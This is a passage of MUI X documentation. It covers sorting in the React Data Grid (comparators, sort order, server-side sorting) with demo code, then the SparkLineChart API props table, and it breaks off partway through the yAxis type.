  { field: 'id', headerName: 'ID', width: 90 },
  {
    field: 'firstName',
    headerName: 'First name',
    width: 150,
    editable: true,
    filterable: false,
    sortable: false,
  },
  {
    field: 'lastName',
    headerName: 'Last name',
    width: 150,
  },
  {
    field: 'age',
    headerName: 'Age',
    type: 'number',
    width: 110,
  },
];

const rows = [
  { id: 1, lastName: 'Snow', firstName: 'Jon', age: 14 },
  { id: 2, lastName: 'Lannister', firstName: 'Cersei', age: 31 },
  { id: 3, lastName: 'Lannister', firstName: 'Jaime', age: 31 },
  { id: 4, lastName: 'Stark', firstName: 'Arya', age: 11 },
  { id: 5, lastName: 'Targaryen', firstName: 'Daenerys', age: null },
  { id: 6, lastName: 'Melisandre', firstName: null, age: 150 },
  { id: 7, lastName: 'Clifford', firstName: 'Ferrara', age: 44 },
  { id: 8, lastName: 'Frances', firstName: 'Rossini', age: 36 },
  { id: 9, lastName: 'Roxie', firstName: 'Harvey', age: 65 },
];

function CustomToolbar() {
  const apiRef = useGridApiContext();

  return (
    <Toolbar>
      <ToolbarButton
        onClick={() => apiRef.current?.sortColumn('firstName', 'asc')}
        render={<Button />}
      >
        Ascending
      </ToolbarButton>
      <ToolbarButton
        onClick={() => apiRef.current?.sortColumn('firstName', 'desc')}
        render={<Button />}
      >
        Descending
      </ToolbarButton>
      <ToolbarButton
        onClick={() => apiRef.current?.sortColumn('firstName', null)}
        render={<Button />}
      >
        None
      </ToolbarButton>
    </Toolbar>
  );
}

export default function ReadOnlySortingGrid() {
  return (
    <div style={{ width: '100%', height: 400 }}>
      <DataGrid
        rows={rows}
        columns={columns}
        initialState={{
          sorting: {
            sortModel: [{ field: 'firstName', sort: 'asc' }],
          },
        }}
        slots={{
          toolbar: CustomToolbar,
        }}
        showToolbar
      />
    </div>
  );
}

```

## Custom comparator

A comparator determines how two cell values should be sorted.

Each column type comes with a default comparator method.
You can re-use them by importing the following functions:

- `gridStringOrNumberComparator` (used by the `string` and `singleSelect` columns)
- `gridNumberComparator` (used by the `number` and `boolean` columns)
- `gridDateComparator` (used by the `date` and `date-time` columns)

To extend or modify this behavior in a specific column, you can pass in a custom comparator, and override the `sortComparator` property of the `GridColDef` interface.

### Create a comparator from scratch

In the following demo, the "Created on" column sorting is based on the day of the month of the `createdOn` field.
It is a fully custom sorting comparator.

```tsx
import * as React from 'react';
import { GridColDef, DataGrid, GridComparatorFn } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'isAdmin'];

const dayInMonthComparator: GridComparatorFn<Date> = (v1, v2) =>
  v1.getDate() - v2.getDate();

export default function FullyCustomSortComparator() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  const columns = React.useMemo<GridColDef[]>(
    () => [
      {
        field: 'dateCreatedCustom',
        valueGetter: (value, row) => row.dateCreated,
        headerName: 'Created on',
        width: 180,
        type: 'date',
        sortComparator: dayInMonthComparator,
      },
      ...data.columns,
    ],
    [data.columns],
  );

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        columns={columns}
        initialState={{
          ...data.initialState,
          sorting: {
            ...data.initialState?.sorting,
            sortModel: [
              {
                field: 'dateCreatedCustom',
                sort: 'asc',
              },
            ],
          },
        }}
      />
    </div>
  );
}

```

### Combine built-in comparators

In the following demo, the "Name" column combines the `name` and `isAdmin` fields.
The sorting is based on `isAdmin` and then on `name`, if necessary. It re-uses the built-in sorting comparator.

```tsx
import * as React from 'react';
import {
  GridColDef,
  DataGrid,
  gridNumberComparator,
  gridStringOrNumberComparator,
  GridComparatorFn,
} from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['rating', 'country', 'dateCreated'];

interface NameAdminCellValue {
  name: string;
  isAdmin: boolean;
}

const nameAdminSortComparator: GridComparatorFn = (v1, v2, param1, param2) => {
  const adminComparatorResult = gridNumberComparator(
    (v1 as NameAdminCellValue).isAdmin,
    (v2 as NameAdminCellValue).isAdmin,
    param1,
    param2,
  );

  // The `isAdmin` values of the two cells are different
  // We can stop here and sort based on the `isAdmin` field.
  if (adminComparatorResult !== 0) {
    return adminComparatorResult;
  }

  return gridStringOrNumberComparator(
    (v1 as NameAdminCellValue).name,
    (v2 as NameAdminCellValue).name,
    param1,
    param2,
  );
};

export default function ExtendedSortComparator() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  const columns = React.useMemo<GridColDef[]>(
    () => [
      {
        field: 'nameAdmin',
        headerName: 'Name',
        valueGetter: (value, row) => ({
          name: row.name,
          isAdmin: row.isAdmin,
        }),
        valueFormatter: (value: NameAdminCellValue) => {
          if (value.isAdmin) {
            return `${value.name} (admin)`;
          }

          return value.name;
        },
        sortComparator: nameAdminSortComparator,
        width: 200,
      },
      ...data.columns,
    ],
    [data.columns],
  );

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        columns={columns}
        initialState={{
          ...data.initialState,
          sorting: {
            ...data.initialState?.sorting,
            sortModel: [
              {
                field: 'nameAdmin',
                sort: 'asc',
              },
            ],
          },
        }}
      />
    </div>
  );
}

```

### Asymmetric comparator

The Data Grid considers the `sortComparator` function symmetric, automatically reversing the return value for descending sorting by multiplying it by `-1`.

While this is sufficient for most use cases, it is possible to define an asymmetric comparator using the `getSortComparator` function – it receives the sorting direction as an argument and returns a comparator function.

In the demo below, the `getSortComparator` function is used in the "Quantity" column to keep the `null` values at the bottom when sorting is applied (regardless of the sorting direction):

```tsx
import {
  DataGrid,
  GridColDef,
  gridStringOrNumberComparator,
} from '@mui/x-data-grid';
import {
  randomQuantity,
  randomId,
  randomCommodity,
} from '@mui/x-data-grid-generator';

const columns: GridColDef[] = [
  { field: 'commodity', headerName: 'Commodity', width: 200 },
  {
    type: 'number',
    field: 'quantity',
    headerName: 'Quantity',
    getSortComparator: (sortDirection) => {
      const modifier = sortDirection === 'desc' ? -1 : 1;
      return (value1, value2, cellParams1, cellParams2) => {
        if (value1 === null) {
          return 1;
        }
        if (value2 === null) {
          return -1;
        }
        return (
          modifier *
          gridStringOrNumberComparator(value1, value2, cellParams1, cellParams2)
        );
      };
    },
  },
];

const rows = [
  { id: randomId(), commodity: randomCommodity(), quantity: randomQuantity() },
  { id: randomId(), commodity: randomCommodity(), quantity: null },
  { id: randomId(), commodity: randomCommodity(), quantity: randomQuantity() },
  { id: randomId(), commodity: randomCommodity(), quantity: null },
  { id: randomId(), commodity: randomCommodity(), quantity: randomQuantity() },
];

export default function GetSortComparator() {
  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid columns={columns} rows={rows} />
    </div>
  );
}

```

## Custom sort order

By default, the sort order cycles between these three different modes:

```jsx
const sortingOrder = ['asc', 'desc', null];
```

In practice, when you click a column that is not sorted, it will sort ascending (`asc`).
The next click will make it sort descending (`desc`). Another click will remove the sort (`null`), reverting to the order that the data was provided in.

### For all columns

The default sort order can be overridden for all columns with the `sortingOrder` prop.
In the following demo, columns are only sortable in descending or ascending order.

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function OrderSortingGrid() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        sortingOrder={['desc', 'asc']}
        initialState={{
          ...data.initialState,
          sorting: {
            ...data.initialState?.sorting,
            sortModel: [
              {
                field: 'commodity',
                sort: 'asc',
              },
            ],
          },
        }}
      />
    </div>
  );
}

```

### Per column

Sort order can be configured (and overridden) on a per-column basis by setting the `sortingOrder` property of the `GridColDef` interface:

```tsx
const columns: GridColDef = [
  { field: 'rating', sortingOrder: ['desc', 'asc', null] },
];
```

```tsx
import * as React from 'react';
import { DataGrid, GridColDef } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function OrderSortingPerColumnGrid() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  const columns = React.useMemo<GridColDef[]>(
    () =>
      data.columns.map((column) => {
        if (column.field === 'rating') {
          return {
            ...column,
            sortingOrder: ['desc', 'asc', null],
          };
        }

        return column;
      }),
    [data.columns],
  );

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        columns={columns}
        sortingOrder={['asc', 'desc', null]}
      />
    </div>
  );
}

```

## Server-side sorting

Sorting can be run server-side by setting the `sortingMode` prop to `server`, and implementing the `onSortModelChange` handler.

```tsx
import * as React from 'react';
import { DataGrid, GridSortModel } from '@mui/x-data-grid';
import { UseDemoDataOptions, createFakeServer } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

const DATASET_OPTION: UseDemoDataOptions = {
  dataSet: 'Employee',
  visibleFields: VISIBLE_FIELDS,
  rowLength: 100,
};

const { useQuery, ...data } = createFakeServer(DATASET_OPTION);

export default function ServerSortingGrid() {
  const [queryOptions, setQueryOptions] = React.useState({});

  const handleSortModelChange = React.useCallback((sortModel: GridSortModel) => {
    // Here you save the data you need from the sort model
    setQueryOptions({ sortModel: [...sortModel] });
  }, []);

  const { isLoading, rows } = useQuery(queryOptions);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        rows={rows}
        {...data}
        sortingMode="server"
        onSortModelChange={handleSortModelChange}
        loading={isLoading}
      />
    </div>
  );
}

```

:::success
You can combine server-side sorting with [server-side filtering](/x/react-data-grid/filtering/server-side/) and [server-side pagination](/x/react-data-grid/pagination/#server-side-pagination) to avoid fetching more data than needed, since it's already processed outside of the Data Grid.
:::

## apiRef

:::warning
Only use this API as the last option. Give preference to the props to control the Data Grid.
:::

```jsx
import ApiDocs from 'docsx/src/modules/components/ApiDocs';
import api from 'docsx/pages/x/api/data-grid/grid-sort-api.json';

export default function SortingApiNoSnap() {
  return <ApiDocs api={api} />;
}

```

## Selectors

{{"component": "modules/components/SelectorsDocs.js", "category": "Sorting"}}

More information about the selectors and how to use them on the [dedicated page](/x/react-data-grid/state/#access-the-state)

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/api/charts/spark-line-chart.md

# SparkLineChart API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Sparkline](/x/react-charts/sparkline/)

## Import

```jsx
import { SparkLineChart } from '@mui/x-charts/SparkLineChart';
// or
import { SparkLineChart } from '@mui/x-charts';
// or
import { SparkLineChart } from '@mui/x-charts-pro';
// or
import { SparkLineChart } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| data | `Array<number>` | - | Yes |  |
| area | `bool` | `false` | No |  |
| baseline | `'max' \| 'min' \| number` | `0` | No |  |
| brushConfig | `{ enabled?: bool, preventHighlight?: bool, preventTooltip?: bool }` | - | No |  |
| clipAreaOffset | `{ bottom?: number, left?: number, right?: number, top?: number }` | `{ top: 1, right: 1, bottom: 1, left: 1 }` | No |  |
| color | `func \| string` | `rainbowSurgePalette[0]` | No |  |
| dataset | `Array<object>` | - | No |  |
| disableAxisListener | `bool` | `false` | No |  |
| disableClipping | `bool` | `false` | No |  |
| disableVoronoi | `bool` | - | No |  |
| height | `number` | - | No |  |
| hiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'bar' } \| { dataIndex?: number, seriesId?: number \| string, type: 'line' } \| { dataIndex?: number, seriesId?: number \| string, type: 'scatter' } \| { dataIndex?: number, seriesId?: number \| string, type: 'pie' } \| { dataIndex?: number, seriesId?: number \| string, type: 'radar' }>` | - | No |  |
| highlightedAxis | `Array<{ axisId: number \| string, dataIndex: number }>` | - | No |  |
| highlightedItem | `{ dataIndex?: number, seriesId: number \| string }` | - | No |  |
| id | `string` | - | No |  |
| initialHiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'bar' } \| { dataIndex?: number, seriesId?: number \| string, type: 'line' } \| { dataIndex?: number, seriesId?: number \| string, type: 'scatter' } \| { dataIndex?: number, seriesId?: number \| string, type: 'pie' } \| { dataIndex?: number, seriesId?: number \| string, type: 'radar' }>` | - | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | `5` | No |  |
| onAxisClick | `function(event: MouseEvent, data: null \| ChartsAxisData) => void` | - | No |  |
| onHiddenItemsChange | `function(hiddenItems: Array<VisibilityIdentifier>) => void` | - | No |  |
| onHighlightChange | `function(highlightedItem: HighlightItemData \| null) => void` | - | No |  |
| onHighlightedAxisChange | `function(axisItems: Array<AxisItemIdentifier>) => void` | - | No |  |
| onItemClick | `function(event: MouseEvent, scatterItemIdentifier: ScatterItemIdentifier) => void` | - | No |  |
| onTooltipItemChange | `function(tooltipItem: SeriesItemIdentifier<TSeries> \| null) => void` | - | No |  |
| plotType | `'bar' \| 'line'` | `'line'` | No |  |
| showHighlight | `bool` | `false` | No |  |
| showTooltip | `bool` | `false` | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| tooltipItem | `{ dataIndex: number, seriesId: number \| string, type: 'bar' } \| { dataIndex?: number, seriesId: number \| string, type: 'line' } \| { dataIndex: number, seriesId: number \| string, type: 'scatter' } \| { dataIndex: number, seriesId: number \| string, type: 'pie' } \| { dataIndex?: number, seriesId: number \| string, type: 'radar' }` | - | No |  |
| valueFormatter | `function(value: number) => string` | `(value: number | null) => (value === null ? '' : value.toString())` | No |  |
| voronoiMaxRadius | `'item' \| number` | - | No |  |
| width | `number` | - | No |  |
| xAxis | `{ axis?: 'x', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func }` | - | No |  |
| yAxis | `{ axis?: 'y', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: 